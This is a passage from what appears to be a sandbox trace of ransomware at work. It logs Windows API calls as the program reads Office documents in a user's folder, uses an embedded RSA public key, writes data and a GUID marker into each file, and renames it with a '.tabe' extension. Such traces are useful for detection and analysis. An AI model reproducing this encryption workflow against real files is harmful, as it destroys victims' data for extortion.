dwFlags=0x0) returned 1 [0126.355] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.355] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.355] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.355] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.355] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.355] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.355] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.355] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.356] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6dca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.356] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.356] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.356] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.356] CloseHandle (hObject=0x618) returned 1 [0126.357] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XXme.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xxme.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XXme.pps.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xxme.pps.tabe")) returned 1 [0126.362] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ed4f20, ftCreationTime.dwHighDateTime=0x1d58a08, ftLastAccessTime.dwLowDateTime=0x6c3e2d80, ftLastAccessTime.dwHighDateTime=0x1d55d87, ftLastWriteTime.dwLowDateTime=0x6c3e2d80, ftLastWriteTime.dwHighDateTime=0x1d55d87, nFileSizeHigh=0x0, nFileSizeLow=0x8db7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YGNPjCOP5wuk0HfgUA.pptx", cAlternateFileName="YGNPJC~1.PPT")) returned 1 [0126.363] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YGNPjCOP5wuk0HfgUA.pptx") returned=".pptx" [0126.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YGNPjCOP5wuk0HfgUA.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygnpjcop5wuk0hfgua.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.363] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=36279) returned 1 [0126.363] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.364] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8d91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.364] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.365] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8db7, lpOverlapped=0x0) returned 1 [0126.366] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.366] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.366] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.366] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.367] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.367] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.367] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.367] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.367] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.367] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.367] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.367] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.367] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.367] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.368] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8db7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.368] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.368] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.368] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.368] CloseHandle (hObject=0x618) returned 1 [0126.369] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YGNPjCOP5wuk0HfgUA.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygnpjcop5wuk0hfgua.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YGNPjCOP5wuk0HfgUA.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygnpjcop5wuk0hfgua.pptx.tabe")) returned 1 [0126.370] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd675ab10, ftCreationTime.dwHighDateTime=0x1d567cd, ftLastAccessTime.dwLowDateTime=0xf6512ba0, ftLastAccessTime.dwHighDateTime=0x1d56253, ftLastWriteTime.dwLowDateTime=0xf6512ba0, ftLastWriteTime.dwHighDateTime=0x1d56253, nFileSizeHigh=0x0, nFileSizeLow=0x186ca, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="yN55FwTZal7Q-RaoZS.docx", cAlternateFileName="YN55FW~1.DOC")) returned 1 [0126.370] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yN55FwTZal7Q-RaoZS.docx") returned=".docx" [0126.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yN55FwTZal7Q-RaoZS.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yn55fwtzal7q-raozs.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.371] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=100042) returned 1 [0126.371] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.372] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x186a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.372] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.373] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x186ca, lpOverlapped=0x0) returned 1 [0126.374] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.374] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.374] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.374] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.375] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.375] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.375] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.375] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.375] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.375] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.375] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.375] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.375] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.376] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.376] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x186ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.376] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.376] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.376] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.376] CloseHandle (hObject=0x618) returned 1 [0126.377] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yN55FwTZal7Q-RaoZS.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yn55fwtzal7q-raozs.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yN55FwTZal7Q-RaoZS.docx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yn55fwtzal7q-raozs.docx.tabe")) returned 1 [0126.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21021050, ftCreationTime.dwHighDateTime=0x1d58caa, ftLastAccessTime.dwLowDateTime=0xeb3364b0, ftLastAccessTime.dwHighDateTime=0x1d5b94a, ftLastWriteTime.dwLowDateTime=0xeb3364b0, ftLastWriteTime.dwHighDateTime=0x1d5b94a, nFileSizeHigh=0x0, nFileSizeLow=0xaeeb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="yoGnGFbTSP8JpoNMxcWx.docx", cAlternateFileName="YOGNGF~1.DOC")) returned 1 [0126.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yoGnGFbTSP8JpoNMxcWx.docx") returned=".docx" [0126.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yoGnGFbTSP8JpoNMxcWx.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yogngfbtsp8jponmxcwx.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.379] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=44779) returned 1 [0126.379] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.380] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xaec5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.380] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.381] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xaeeb, lpOverlapped=0x0) returned 1 [0126.382] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.382] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.382] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.382] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.383] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.383] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.383] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.383] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.383] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.383] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.383] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.383] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.383] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.383] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.384] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xaeeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.384] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.384] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.384] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.384] CloseHandle (hObject=0x618) returned 1 [0126.385] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yoGnGFbTSP8JpoNMxcWx.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yogngfbtsp8jponmxcwx.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yoGnGFbTSP8JpoNMxcWx.docx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yogngfbtsp8jponmxcwx.docx.tabe")) returned 1 [0126.386] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b12fc0, ftCreationTime.dwHighDateTime=0x1d5dbfc, ftLastAccessTime.dwLowDateTime=0xe03d9c70, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0xe03d9c70, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x13adc, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YX5oTaLr46sR87w.ppt", cAlternateFileName="YX5OTA~1.PPT")) returned 1 [0126.386] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YX5oTaLr46sR87w.ppt") returned=".ppt" [0126.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YX5oTaLr46sR87w.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yx5otalr46sr87w.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.387] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=80604) returned 1 [0126.387] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.388] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13ab6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.388] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.390] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x13adc, lpOverlapped=0x0) returned 1 [0126.390] lstrlenA (lpString="-----BEGIN PUBLIC 